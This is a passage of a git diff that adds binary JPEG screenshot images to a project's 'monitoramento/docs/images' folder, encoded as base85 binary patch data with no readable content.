zc+i21948nSoR@r~v1X>*Q;|R)M^}*m#>mMMN7l(Fp8j)_cmAa<ug!vIE|H#5bMwFy zKI4}Te4bA_MV(z%F&yB!n*25}hkx(3dB3wZCEnpw$@szExjF1%sNhqX6a0$(CJZm0 zMjCI}csx$?&VPojzXBUy*uS4;V9WmZvje;R+qx;m|E|AuV_)!}VPD39FY@2dGB}q0 zXOL?zGdzATrf>0vl{>lEZTD(vH?eNC;hX!d{Od}KTUKTNq!?Bg_8T5N?pL(rS5>X% z^&7Vq?y7EnWox<YT%q=#8;}20<$ihluRf~uA(zPWeD*nSzr1%4iayHKZzQT*UjLsV z*7yAH_@!Z6TUsL}mz@9ZoyY#?*_sDc{J)<y@YUb?tMUBr`b$0hj-UYou!9*a|1)HN zSv>#SelM`wp)O{4Uhw;_?W#2u|1M6JF3)|=@O*pS)O6;82POaBhWr2cS9m+$_ve>? za#t8l_P?5MYx_#uC$DJ76aHOGs(xLWRKL3Z!|~UFw?CbqS0R6N_kV_~4idl4-*5kW z@K39#-NH=W({2F^7}<kr?WP1tZrxeG$KJ|Z|9kuMnAxXuHqAL+QgGvEO!BAmUK>TP z80`pcbDa0K(e==APb7th?`hd^f3t4;9I@`HPs{PLFQVGM5~YDG?Uv8;W$HxC6TF_g zf|akiD6E)s%u&6`-F|6`yOQ0RL$Bg(t823~^+L@bT}r!k$|7#(m#;^~FFpEXHjT;f z-;%~-7XKNz<_NJdIIt%?|D!#7$KD95$QaMx2j(k1Usw67@K;yq)?0q^f5lR6{kBVe zeLilkM&9kd<E}gR3jg~j|6y@)mHOX5_77vOOh2g7Yj@O;U+v7}cYT&NCC|SsZTjLh zar&lNLhrX{H%_pv__rm7Z!%Q9+p{nJzkk#p+Tim+=b4(5f${F1;JWMi&nwf+UiiH; zye@yOyS4Xb=skl~C-&_(EB@IPdQX5&<4F1a{+AK+Gqy>v$V|R1x8tl+{@bIsZqHCV ztoPnP<A&ui<JV5*+|ui1dft>DW3GNKQ)@3((s7CPq)+4DH_yMUVcXZ5cTIltiIA1~ zCb_pPmF0FmHZlFX>#jTdL_;B_nxg@M1s+fSiKr>pa5^<U)0cl+|8?c77!8(%cDw&G z{JPq5UF=n1Q>|fF%JgX;cdeiHMq=XBgU8q^m!7ef<%4>t_w0-L-#`3kXe~Zp$z-L` zJHt>}Stfz`Z)WQ5CbJ%nn};_@#uR>CJVU2MdiF*8_YeOwaG9Ggs=t5upXhndlEw+H zd7s#{`0hVE`TnS<&Pow(?L+qskKJpjOX^G5xO>{UI&i2hig*&)(|X~_JVxezpU0+s zX&sMG``+8r*wwp^BSGv`7`wfBV&i=OLvxShpOBrfLSxCi-JkzzZd|-Ly(A@Bg17Ha z*&4Pz2mUkkYj!^FDYtL6vR<g1{AN<$4vPnmKP;ZHTx?S9S?<#>bW<aisB8$FyI85K UiS3@mPn{X|NAGoo3;w?e0P^}QtpET3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_large_3.jpg b/src/main/webapp/monitoramento/docs/images/screen_shot_large_3.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fa7b9bc6178ae2b2b50ef8e5aa3a0742d56a006f GIT binary patch literal 6299 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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_large_4.jpg b/src/main/webapp/monitoramento/docs/images/screen_shot_large_4.jpg new file mode 100644 index 0000000000000000000000000000000000000000..80400e005819b6a01b8670dabd4bce999f236a11 GIT binary patch literal 46662 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 